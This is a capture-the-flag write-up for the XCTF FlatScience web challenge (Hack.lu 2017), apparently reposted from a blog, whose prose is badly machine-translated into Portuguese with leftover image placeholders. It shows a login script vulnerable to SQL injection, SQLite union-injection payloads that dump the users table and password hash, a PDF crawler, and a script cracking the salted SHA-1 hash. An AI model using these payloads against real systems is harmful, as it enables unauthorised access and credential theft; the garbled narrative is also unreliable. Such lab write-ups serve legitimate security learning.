XCTF WEB FlatScience (Hack.lu-2017)

XCTF WEB FlatScience (Hack.lu-2017)

Abra o tema e encontrei um monte de saltos e documento pdf:
Aqui Insert Picture Descrição
não encontrou o que levou ,,, vista robots.txt direta:
Aqui Insert Picture Descrição
o acesso, página de login do administrador admin.php local é muito ,,, nada tem, ,,
há uma página login.php ,, não entendo por que todos Acesso envolver-se em duas páginas ,,,
direito de ver o código fonte, obter um aviso:
Aqui Insert Picture Descrição
depuração depuração parâmetros? ? Direto passagem de parâmetro debug = 1 para obter o código-fonte, o seguinte como o código principal ?:

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->

Encontrado não mysql banco de dados SQLite banco de dados ,,, é
Aqui Insert Picture Descrição
aparentemente ainda injeção problemático! ! não fazer quaisquer parâmetros de processamento diretamente emendados ,,,
Aqui Insert Picture Descrição
emmmm, nenhum contato com a injeção de sqlite ,,, um pouco de pesca, ah, agora só pode aprender ,,,,
SQLite manual do método de injeção Resumo
declaração injecção: usr=' union select name,sql from sqlite_master--+&pw=admin
sqlite_master é um banco de dados SQLite Ocultar tabela de ,,,, seguintes campos: type/name/tbl_name/rootpage/sql
porque o código levou o cabeçalho de resposta para ver Cookie-SET:
Aqui Insert Picture Descrição
URL decodificado:

name= CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255));

emmmm nomes de tabela e campo parece ter sido fora? ? ? Esta estimativa é a sqlite mais básico injetá-lo ,,,,
olhares sintaxe como sintaxe mysql e quase eh ,,,,
declaração injecção:

usr=' union select id,id from Users--+&pw=admin
usr=' union select id,name from Users--+&pw=admin
usr=' union select id,password from Users--+&pw=admin
usr=' union select id,hint from Users--+&pw=admin

Os resultados foram obtidos:

name=+1;
name=+admin;
name=+3fab54a50e770d830c0416df817567662a9dc85c;
name=+my fav word in my fav paper?!;

Dica é a minha palavra favorita no meu jornal? ? ? pdf? ? ?
A senha foi maneira que parecem saber ,, sha1 ,, fonte criptografado, mas dado o sal ,,,
Aqui Insert Picture Descrição
o direito de fazer metade sala de aula ,,, ,,,,
agora continuar! ! !
Sqlite foi injetado acima do nome do usuário e senha, e criptografia também é conhecido, estima-se o próximo passo é que precisamos quebrar o código!
Ele estima senha no documento PDF dentro do documento, mas parece um monte de ,,, como você quer que eu faça? ? ?
documentos PDF arrastou primeira fora de? ?
Escreveu um script incompleta rastrear URLs ,,,,, não de ênfase, que teria sido rastejando,
se contada quase no fim quando a lata manual (aparentemente em 30 pdf):

import urllib.request
import requests
import queue
import re

def GetFile(url):
	file_name = url.split('/')[-1]
	file_name = 'pdf/' + file_name
	Content = urllib.request.urlopen(url).read()
	f = open(file_name,'wb')
	f.write(Content)
	f.close()
	print("Success : " +file_name)

def GetUrl(base_url,url):
	r = requests.get(url)
	text = r.text
	pattern = re.compile('<a.+?href=\"(.+?)\".+?>.+?<\/a>')
	urls = pattern.findall(text)
	#print(urls)
	for i in urls:
		i = base_url + i
		print(i)
		if i[-3:] == 'pdf':
			GetFile(i)
		else:
			q.put(i)

url = "http://111.198.29.45:37745/index.html"
q = queue.Queue()
q.put(url)

while not q.empty():
	url = q.get()
	base_url = url.split('index.html')[0]
	#print(base_url,url)
	GetUrl(base_url,url)

Aqui Insert Picture Descrição
Pdf então tem que ter um script escrito em jateamento python ,,, dia! ! !
Pdf diretamente colocar em txt, em seguida, ~ ~ em explodir lendo txt
sua vez pdf txt não posso write (muita comida ah / chorar) ,,, emprestado do blogue do irmão mais velho python ler arquivos PDF e converso o arquivo txt
(pdf ligar manualmente txt não é aceitável, que não é copiar mais colar Gong, pro-teste !!!)
de script da seguinte forma (em que a função é um pdf_2_txt referência ~~ grande código de implementação irmão):

from pdfminer.pdfparser import PDFParser, PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import logging
import hashlib
import re
import os

def pdf_2_txt(start,end):
	pdf_filename = start
	txt_filename = end
	
	# 不显示warning
	logging.propagate = False
	logging.getLogger().setLevel(logging.ERROR)

	device = PDFPageAggregator(PDFResourceManager(), laparams=LAParams())
	interpreter = PDFPageInterpreter(PDFResourceManager(), device)

	doc = PDFDocument()
	parser = PDFParser(open(pdf_filename, 'rb'))
	parser.set_document(doc)
	doc.set_parser(parser)
	doc.initialize()

	# 检测文档是否提供txt转换,不提供就忽略
	if not doc.is_extractable:
	    raise PDFTextExtractionNotAllowed
	else:
	    with open(txt_filename, 'w', encoding="utf-8") as fw:
	        print("num page:{}".format(len(list(doc.get_pages()))))
	        for page in doc.get_pages():
	            interpreter.process_page(page)
	            # 接受该页面的LTPage对象
	            layout = device.get_result()
	            # 这里layout是一个LTPage对象 里面存放着 这个page解析出的各种对象
	            # 一般包括LTTextBox, LTFigure, LTImage, LTTextBoxHorizontal 等等
	            # 想要获取文本就获得对象的text属性,
	            for x in layout:
	                if isinstance(x, LTTextBoxHorizontal):
	                    results = x.get_text()
	                    fw.write(results)

filePath = 'C:\\Users\\Administrator\\Desktop\\pdf'
lists = os.listdir(filePath)

for i in range(1,31):
	x = "pdf/" + lists[i - 1]
	pdf_2_txt(x,'txt/' + str(i) + '.txt')


for i in range(1,31):
	f = open("txt/" + str(i) + ".txt","r", encoding='UTF-8').read()
	wordlist = re.split(" |\n",f)

	for i in wordlist:
		i = i + "Salz!"
		encode = hashlib.sha1(i.encode('utf-8')).hexdigest()
		if encode == "3fab54a50e770d830c0416df817567662a9dc85c":
			print("Success! password is :" + i)
			break

Com sucesso escrever um script, e obter com sucesso a senha:
Aqui Insert Picture Descrição
Após digitar a senha para admin.php: ThinJerboaobter sucesso bandeira:
Aqui Insert Picture Descrição
obter bandeira:flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

Scripting capacidades, ou pior, nenhum sistema não é estudada python ,,
escrever dois roteiros tarde escrito ,,, se eu tiver a força para levantar isso seria como? ? ?

Publicado 206 artigos originais · ganhou elogios 130 · Exibições 100.000 +

Acho que você gosta

Origin blog.csdn.net/qq_42967398/article/details/103480502
Recomendado
Clasificación